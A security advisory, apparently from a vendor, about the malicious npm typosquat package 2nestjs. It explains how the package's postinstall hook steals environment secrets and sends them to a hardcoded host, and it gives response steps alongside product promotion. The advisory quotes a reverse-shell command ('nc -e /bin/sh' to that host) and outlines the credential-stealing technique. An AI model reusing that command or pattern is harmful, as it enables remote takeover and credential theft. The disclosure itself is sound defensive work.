Malicious package

2nestjsnpm

2nestjs is a confirmed malicious npm package (MAL-2026-15911) that steals credentials and exfiltrates sensitive data (malicious version 0.0.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in 2nestjs (npm)

MAL-2026-15911
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall 2nestjs

What this malware does

The package's postinstall hook executes index.js, which enumerates process.env, filters keys matching /^(SECRET|API|TOKEN|KEY)/, JSON-serializes the matched values, and writes them over a raw TCP socket to the hardcoded remote host 84.32.22.44:9999 (loaded from servers.json). The same postinstall path also invokes nc -e /bin/sh 84.32.22.44 9999, establishing an interactive reverse shell to the same host and granting the remote operator arbitrary command execution on the installer's machine. The package's own package.json description labels it a typosquat of nestjs and the author identifier is typosquat-bot, and the module's export logs '2nestjs loaded -- targeting nestjs' — the package name is a numeric-prefix lookalike of the widely used nestjs package.

Detection & response playbook

Credential / info stealer
  1. Find it

    Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for 2nestjs (version 0.0.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging 2nestjs across your stack and pipelines.

  2. If you installed it — respond

    2nestjs is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

  3. Did it already run?

    If 2nestjs was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

  4. How O3 protects you

    O3 blocks 2nestjs before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions
